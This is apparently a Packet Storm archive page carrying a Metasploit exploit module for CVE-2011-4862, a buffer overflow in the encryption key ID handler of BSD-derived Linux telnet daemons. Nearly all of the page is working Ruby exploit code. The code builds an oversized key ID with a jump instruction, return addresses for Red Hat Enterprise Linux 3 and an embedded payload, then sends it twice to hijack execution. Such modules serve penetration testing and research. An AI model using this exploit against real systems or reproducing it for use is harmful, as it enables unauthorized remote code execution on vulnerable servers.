what you don't know can hurt you

Linux BSD-derived Telnet Service Encyption Key ID Buffer Overflow

Linux BSD-derived Telnet Service Encyption Key ID Buffer Overflow
Posted Dec 28, 2011
Site metasploit.com

This Metasploit module exploits a buffer overflow in the encryption option handler of the Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions use NetKit-derived telnet daemons, so this flaw only applies to a small subset of Linux systems running telnetd.

tags | exploit, overflow
systems | linux, bsd
advisories | CVE-2011-4862
MD5 | 6bb45171cd21fa08abdff35e8c0ff6fe

Linux BSD-derived Telnet Service Encyption Key ID Buffer Overflow

Change Mirror Download
##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Telnet
include Msf::Exploit::BruteTargets

def initialize(info = {})
super(update_info(info,
'Name' => 'Linux BSD-derived Telnet Service Encyption Key ID Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
use NetKit-derived telnet daemons, so this flaw only applies to a small subset of
Linux systems running telnetd.
},
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry', 'Dan Rosenberg', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['BID', '51182'],
['CVE', '2011-4862'],
['URL', 'http://www.exploit-db.com/exploits/18280/']
],
'Privileged' => true,
'Platform' => 'linux',
'Payload' =>
{
'Space' => 200,
'BadChars' => "\x00",
'DisableNops' => true,
},

'Targets' =>
[
[ 'Automatic', { } ],
[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],

],
'DefaultTarget' => 0,
'DisclosureDate' => ''))
end

def exploit_target(t)

connect
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
print_status(banner_sanitized) if datastore['VERBOSE']

enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
enc_keyid = "\xff\xfa\x26\x07"
end_suboption = "\xff\xf0"

penc = payload.encoded.gsub("\xff", "\xff\xff")

key_id = Rex::Text.rand_text_alphanumeric(400)

key_id[ 0, 2] = "\xeb\x76"
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
key_id[76, 4] = [ t['Ret'] ].pack("V")

# Some of these bytes can get mangled, jump over them
key_id[80,40] = "\x41" * 40

# Insert the real payload
key_id[120, penc.length] = penc

# Create the Key ID command
sploit = enc_keyid + key_id + end_suboption

# Initiate encryption
sock.put(enc_init)

# Wait for a successful response
loop do
data = sock.get_once(-1, 5) rescue nil
if not data
raise RuntimeError, "This system does not support encryption"
end
break if data.index("\xff\xfa\x26\x02\x01")
end

# The first request smashes the pointer
print_status("Sending first payload")
sock.put(sploit)

# Make sure the server replied to the first request
data = sock.get_once(-1, 5)
unless data
print_status("Server did not respond to first payload")
return
end

# Some delay between each request seems necessary in some cases
::IO.select(nil, nil, nil, 0.5)

# The second request results in the pointer being called
print_status("Sending second payload...")
sock.put(sploit)
handler

::IO.select(nil, nil, nil, 0.5)
disconnect
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close